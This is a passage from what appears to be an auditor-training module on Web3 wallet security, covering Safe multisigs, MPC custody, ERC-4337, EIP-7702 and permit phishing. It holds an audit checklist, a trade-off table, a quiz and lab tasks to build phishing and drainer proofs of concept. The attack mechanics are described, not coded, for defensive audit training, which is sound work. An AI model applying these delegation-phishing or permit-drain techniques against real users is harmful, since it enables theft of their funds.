  • A short README explaining what a “clear-signing-correct” wallet would have shown.
  • A short discussion of which protocols’ EIP-712 schemas are or aren’t covered by Ledger’s clear-signing registry [verify the current list].

13.5 Stretch — EIP-7702 delegation phishing

Build a Foundry test where a user is induced to sign a 7702 authorization for a malicious delegate. Demonstrate that the malicious delegate persists across blocks (i.e., a subsequent transaction to the EOA executes attacker code). Then show the user can revert by signing a new authorization with address(0).

This is the canonical 7702 audit-PoC; once you can write it, you can write 7702 findings for any audit.


14. Anti-patterns (master audit checklist)

Add these to your developing audit checklist:

Safe / multisig

  • Single-owner Safe (threshold == 1).
  • Threshold owners on same device / same OS / same workspace.
  • Owners using seed derivations of one mnemonic.
  • Module installed without separate audit; upgradeable module with EOA admin.
  • No guard, or guard that can lock the Safe.
  • No recovery module on a treasury Safe with valuable assets.
  • Safe owners blind-signing execTransaction with operation == DELEGATECALL (1).
  • Safe at the same address on multiple chains without per-chain signer verification.

MPC / custody

  • Key generation ceremony not third-party-attested.
  • Shares stored without HSM / SGX / enclave protection.
  • No share-refresh schedule.
  • Policy admin with no MFA or no audit trail.
  • Vendor’s SOC 2 not reviewed; exceptions not enumerated.

Hardware wallets / signing UX

  • Protocol asks users to sign EIP-712 not covered by clear-signing schemas on common hardware wallets.
  • Wallet-adapter library pulled with semver wildcard (^, ~) instead of pinned.
  • No documented user-side incident response.

ERC-4337

  • Smart account execute / executeBatch not gated to msg.sender == entryPoint.
  • Validation logic reads non-own storage as an unstaked entity.
  • Validation logic uses banned opcodes (TIMESTAMP, NUMBER, BALANCE, PREVRANDAO, BLOCKHASH).
  • Paymaster solvency dependent on external state under unstaked rules.
  • Paymaster postOp mishandled (wrong refund accounting, wrong revert handling).
  • Account factory uses (salt, initCode) that doesn’t bind chain id or owner public key.
  • Modular account fallback module that returns ERC-1271 magic for unintended selectors.
  • Session-key policy contract un-audited or upgradeable by attacker-controllable admin.
  • Session-key expiry inconsistent between policy and EntryPoint validUntil.

EIP-7702

  • Authorization signed with chain_id == 0.
  • Delegate contract without ERC-7201 namespaced storage.
  • Delegate contract without independent replay protection (relying on 7702 nonce alone).
  • No clear-revoke path documented for users.
  • Downstream contracts in scope use tx.origin == msg.sender or code.length == 0 for EOA gating.

Signatures (recap from Tuan-05-Vulnerability-Classes-Part-1)

  • EIP-712 schema not designed for human-readability.
  • permit flows on user-facing dApps without explicit per-action amount caps.
  • setApprovalForAll(true) solicited for “verification” or other suspicious framing.
  • ERC-1271 verifier not state-pure or has fallback that returns magic value.

Approvals

  • Protocol requires approve(MAX) and offers no permit alternative.
  • No documentation on revocation procedure for users.

Operational

  • No documented incident-response plan covering key compromise.
  • No on-chain monitoring (Forta / Tenderly Alerts) on admin / treasury addresses.
  • No emergency-pause + timelock + multisig combination on upgrade authority.

15. Trade-offs and open debates

DecisionOption AOption BAuditor’s view
Treasury custodySafe multisig with hardware walletsMPC custody (Fireblocks et al.)Both viable. Safe = transparent, on-chain auditable, requires self-managed hardware. MPC = vendor convenience, vendor risk, off-chain policy engine. For DAOs: prefer Safe + Fireblocks-style backup or multi-sig of multi-sigs. For ops accounts under tight regulatory scrutiny: MPC + SOC 2.
Smart account standardERC-7579 (minimal, wide adoption)ERC-6900 (richer plugin model, Alchemy-led)ERC-7579 by default in 2026 (wider integration surface). 6900 may win in environments where its richer hooks matter.
AA migration pathERC-4337 (full smart account)EIP-7702 (delegated EOA)4337 for new users; 7702 for existing EOAs. 7702 inherits EOA’s single-key liability — security ceiling is lower.
Approval patternapprove once (max)permit per-actionpermit where supported. Permit2 as compromise for non-permit tokens.
Hardware wallet postureSingle LedgerMultiple-vendor diversification (Ledger + Trezor + GridPlus)For high-value: diversify. Don’t put all $X in any single vendor’s threat model.
Session keysShort expiry + tight policyLong expiry + loose policyShort. A session key is a controlled-blast-radius weapon; minimize the radius.
Wallet UX for EIP-712Show typed-data fields by defaultShow summary + “details” toggleShow fields by default. Toggle creates click-through habit; click-through habit kills users.

16. Quiz (self-check, ≥80% to advance)

  1. Q: A protocol team configures their treasury Safe as 3-of-11. Three developers, each holding one owner key on their personal MacBook, are targeted with malware that intercepts the calldata of Safe execTransaction calls and replaces it with transferOwnership(attacker). All three sign on Ledger devices that don’t render Safe calldata. The drain executes. What three audit findings would have flagged this? A: (1) Threshold too low relative to value at stake — for a $300M+ treasury, threshold ≥ ceil(2n/3) is the convention; 3-of-11 is “convenience” not “security”. (2) Owner devices not segregated (developer machines used for both code and signing — code workflow is malware-rich). (3) Hardware wallets without clear-signing for Safe transactions — owners are effectively blind-signing arbitrary calldata. (Bonus: no transaction-monitoring on Safe with alerts for owner-change transactions.) This is the Radiant Capital October 2024 shape.

  2. Q: In ERC-4337, why does the bundler ban use of block.timestamp in validateUserOp for an unstaked account? A: The validation phase is simulated by the bundler before inclusion. Values like block.timestamp differ between simulation block and the eventual inclusion block. An attacker could craft a UserOp that passes simulation (validation returns OK in the sim block) but fails on-chain inclusion (validation fails because the deadline has passed by then). The bundler’s gas is wasted; over many such attacks the bundler is DoS’d. ERC-7562 bans block-context opcodes during validation to make simulation-vs-execution behavior consistent. Staked entities get relaxed restrictions because they have skin in the game.

  3. Q: A user signs an EIP-2612 permit for token X to a contract with value = MAX, deadline = 1 year. The attacker holds onto the signature for 6 months, then executes permit(...) followed by transferFrom(...). The user’s transaction simulator did not flag the original signing. Why not, and what would have helped? A: Signing an EIP-712 produces no on-chain state change — there is nothing for a transaction simulator to “simulate”. Help: wallets that parse EIP-712 payloads (not just simulate transactions) and flag suspicious permits (e.g., max allowance, far-future deadline, unknown spender). Rabby, MetaMask + Blockaid, Pocket Universe, and Scam Sniffer all attempt this; coverage is incomplete. Protocol-side help: don’t ask users to sign max-allowance long-deadline permits; bound the amount and shorten the deadline.

  4. Q: An EIP-7702 user signs an authorization with chain_id = 0, address = MaliciousDelegate, nonce = 0. They believe this is a one-time gas-sponsorship for an L2 swap. What’s wrong? A: (1) chain_id == 0 per the EIP means “valid on any chain” — the same authorization replays on every chain the EOA exists on. The user’s L1 balance is now drainable through the same signature. (2) The authorization persists until a higher-nonce authorization replaces it; this is not “one-time”. (3) Even on one chain, the authorization gives the delegate full control of the EOA’s storage and any value the EOA holds.

  5. Q: A Safe has an installed Allowance Module that lets a designated EOA spend up to 100 USDC/day. A guard is installed that blocks all USDC transfers. Can the EOA still spend USDC via the module? A: Yes, for Safe versions ≤ 1.4.1 [verify]. Modules call execTransactionFromModule, which is separate from execTransaction and does not invoke the guard. The guard only catches execTransaction. This is a common audit finding: a guard “blocking X” gives false assurance if any module can do X. Mitigations: use a Safe version that supports module guards (ITransactionGuard + IModuleGuard), or audit every module’s allowed actions independently.

  6. Q: A smart-account designer writes function execute(address to, uint256 value, bytes calldata data) external { ... } without an access modifier, intending the EntryPoint to be the only caller. What’s the bug? A: Anyone can call execute directly, bypassing validateUserOp (which is only invoked through the EntryPoint). The account is fully drainable by any EOA. Fix: require msg.sender == address(entryPoint) (or msg.sender == address(this) for internal call paths). This is the most common 4337 account bug for junior implementations.

  7. Q: An isValidSignature(bytes32 hash, bytes signature) returns (bytes4) implementation has a fallback case that returns 0x00000000 (zero word). Why is this dangerous and how do you fix it? A: Strictly, 0x00000000 != 0x1626ba7e, so a clean comparison result == 0x1626ba7e rejects it. But: many integrations use (success, ret) = staticcall(...); bytes4 v = abi.decode(ret, (bytes4)); and don’t check success. If the call reverts, ret may be empty, and decoded bytes4 could be 0x00000000 — which then fails the comparison correctly. Now consider a malicious 1271 returning something else that decodes to 0x1626ba7e due to a bug in the implementation. Fix: always return either the magic value or 0xffffffff (per the spec’s convention), and consumers should branch on both success and explicit magic equality, not on negative-match.

  8. Q: A drainer-as-a-service kit (Inferno, Pink, Angel) operates by getting victims to sign EIP-712 payloads. What’s the role of the auditor in defending against this when the auditor doesn’t audit the drainer code or the victim’s wallet? A: The auditor audits the protocols whose signing UX makes drainer payloads effective. Findings: (1) protocols asking users to sign max-allowance permits with far-future deadlines — recommend bounded amount + short deadline. (2) Protocols whose EIP-712 schemas aren’t in hardware-wallet clear-signing registries — recommend publishing schemas. (3) Frontends not pinning wallet-adapter library versions — recommend pinning + integrity hashes (lesson from Ledger Connect Kit Dec 2023). (4) Protocols with no documented user-side incident response — recommend writing one.

  9. Q: A custody product claims “MPC is more secure than multisig because the key is never reconstructed”. The audit reviews their architecture: 2-of-3 TSS, with one share at the customer site, one at Fireblocks, one at an “offline backup”. The customer’s policy admin can lower the policy from 2-of-3 to 1-of-3 with a single admin sign-off. What’s the finding? A: The advertised threshold (2-of-3) is undermined by the policy engine, which behaves as a 1-of-1 control over the threshold itself. The real security floor is “compromise the policy admin’s credentials” not “compromise 2 of 3 share holders”. Finding: policy changes must themselves require threshold approval (e.g., 2-of-3 admins) and a timelock for sensitive changes; immediate-effect single-admin policy changes are equivalent to a 1-of-1 multisig on the entire treasury.

  10. Q: After Pectra (May 2025), how does the require(tx.origin == msg.sender, "no contracts") idiom behave when the caller is an EOA that has installed an EIP-7702 delegation to a contract D? A: It passes — tx.origin == msg.sender == EOA. But the behavior originating from that EOA is whatever D’s code does. The “no contracts” intent is broken: the EOA is a contract for execution purposes, while passing the tx.origin check because the auth pre-set its code to 0xef0100||D. Combined with msg.sender.code.length == 0 also being broken (the EOA has 23 bytes of code), all classic “EOA only” gates are now ineffective. Recommend replacing with explicit allowlists and ERC-1271 / SignatureChecker-style checks.


17. Week 12 deliverables

  • Lab 1 (Safe): 4 passing tests covering deploy, threshold enforcement, owner rotation, and module bypass-of-guard observation. Written notes.
  • Lab 2 (4337): minimal account with ECDSA + session validator, submitted UserOp through local bundler, identified and fixed at least 3 ERC-7562 storage/opcode rule violations.
  • Lab 3 (Permit phish): drainer PoC + clear-signing rendering writeup.
  • Stretch (optional but recommended): EIP-7702 phishing PoC and revoke-via-address(0) demonstration.
  • Master audit checklist updated with §14 items.
  • Notes file with one paragraph per item: “If I were auditing a wallet (Safe / MPC / 4337 / 7702) for a protocol, what would I check first?”
  • Annotated trust-seam diagram of a real production Safe (pick a public one — Uniswap treasury, OP Foundation, Maker — read its config on-chain, identify owner set, modules, guards, transaction history).

18. Where this leads

Next week: Tuan-13-Frontend-dApp-Infrastructure. The wallet layer feeds into the frontend supply chain. Week 12 was about what the user signs and how. Week 13 is about who controls the bytes the user sees before they sign — npm packages, CDN, DNS, IPFS pinning, RPC trust, WalletConnect bridges, monitoring infrastructure. The BadgerDAO and Ledger Connect Kit incidents are the bridge.

Then Tuan-14-Governance-DAO-Security: the wallet layer scaled up to a treasury, governed by token-holder voting, with timelocks and emergency pause patterns. The Safe audit angles from this week generalize to “Governor + Timelock + multisig” stacks, with new failure modes from flash-loan governance attacks and parameter risk.

The auditor mindset shift across these three weeks is: the contract is the smallest, most-audited part of the system. Everything around it — the wallet, the frontend, the governance, the keys — has historically been less rigorously reviewed and is therefore where most dollars are lost in 2023–2026. Make those layers part of every audit’s scope.


Last updated: 2026-05-16 See also: Roadmap · References · MOC-Web3-Security-Mastery · Tuan-01-Web3-Blockchain-Crypto-Fundamentals · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-13-Frontend-dApp-Infrastructure · Tuan-14-Governance-DAO-Security · Case-Parity-Multisig-2017 · Case-BadgerDAO-Frontend-2021 · Case-Radiant-Capital-2024